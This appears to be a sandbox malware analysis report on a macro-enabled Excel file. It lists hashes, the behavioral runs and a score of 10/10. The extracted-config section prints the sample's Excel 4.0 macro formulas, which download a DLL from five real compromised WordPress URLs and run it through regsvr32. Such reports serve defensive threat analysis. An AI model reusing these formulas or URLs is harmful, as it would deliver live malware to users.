Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
General
-
Target
071d189219e1b7f4400fb359a513a2704702eb4cc4184bf35fc5be225a393118
-
Size
95KB
-
Sample
241111-1tb64axfna
-
MD5
a6dc2438c7b85e56846768293dc2c9e3
-
SHA1
775b1b18e3e89e798ffe7d1205226f47663a09d9
-
SHA256
071d189219e1b7f4400fb359a513a2704702eb4cc4184bf35fc5be225a393118
-
SHA512
a46bbadfce3131c95b4bb3c981ca6cff934bf8a2a27ee77207fe35be80b95cf9c8b8846654077fb8f161c9af68778fb2e4dce66fd6e90e0d9560620a1b9b8d16
-
SSDEEP
1536:AQxfGWXG8v5MB5Dg8cVoioFh+fYFl69oXiZ5bcvJlqGiwIWx1BcVXzAyVFfw:A2318DsVhonV69o2bchgGaWBcpA+fw
Behavioral task
behavioral1
Sample
071d189219e1b7f4400fb359a513a2704702eb4cc4184bf35fc5be225a393118.xlsm
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
071d189219e1b7f4400fb359a513a2704702eb4cc4184bf35fc5be225a393118.xlsm
Resource
win10v2004-20241007-en
Malware Config
Extracted
https://ashirvadgroup.com/wp-admin/LtoH5AWneDBZIV2D/
https://patriciamirapsicologa.com/wp-includes/fVVa9DXB/
https://forfreeiptv.com/wp-admin/s5Oxoskqv8/
https://dehraduncabs.com/wp-includes/9xqp/
https://imprecof.com/i/QPWeAg0C1hh/
-
formulas
=FORMULA() =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://ashirvadgroup.com/wp-admin/LtoH5AWneDBZIV2D/","..\dw1.ocx",0,0) =IF('EFWFSFG'!D15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://patriciamirapsicologa.com/wp-includes/fVVa9DXB/","..\dw1.ocx",0,0)) =IF('EFWFSFG'!D17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://forfreeiptv.com/wp-admin/s5Oxoskqv8/","..\dw1.ocx",0,0)) =IF('EFWFSFG'!D19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://dehraduncabs.com/wp-includes/9xqp/","..\dw1.ocx",0,0)) =IF('EFWFSFG'!D21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://imprecof.com/i/QPWeAg0C1hh/","..\dw1.ocx",0,0)) =IF('EFWFSFG'!D23<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\dw1.ocx") =RETURN()
Extracted
https://ashirvadgroup.com/wp-admin/LtoH5AWneDBZIV2D/
https://patriciamirapsicologa.com/wp-includes/fVVa9DXB/
https://forfreeiptv.com/wp-admin/s5Oxoskqv8/
Targets
-
-
Target
071d189219e1b7f4400fb359a513a2704702eb4cc4184bf35fc5be225a393118
-
Size
95KB
-
MD5
a6dc2438c7b85e56846768293dc2c9e3
-
SHA1
775b1b18e3e89e798ffe7d1205226f47663a09d9
-
SHA256
071d189219e1b7f4400fb359a513a2704702eb4cc4184bf35fc5be225a393118
-
SHA512
a46bbadfce3131c95b4bb3c981ca6cff934bf8a2a27ee77207fe35be80b95cf9c8b8846654077fb8f161c9af68778fb2e4dce66fd6e90e0d9560620a1b9b8d16
-
SSDEEP
1536:AQxfGWXG8v5MB5Dg8cVoioFh+fYFl69oXiZ5bcvJlqGiwIWx1BcVXzAyVFfw:A2318DsVhonV69o2bchgGaWBcpA+fw
Score10/10-
Process spawned unexpected child process
This typically indicates the parent process was compromised via an exploit or macro.
-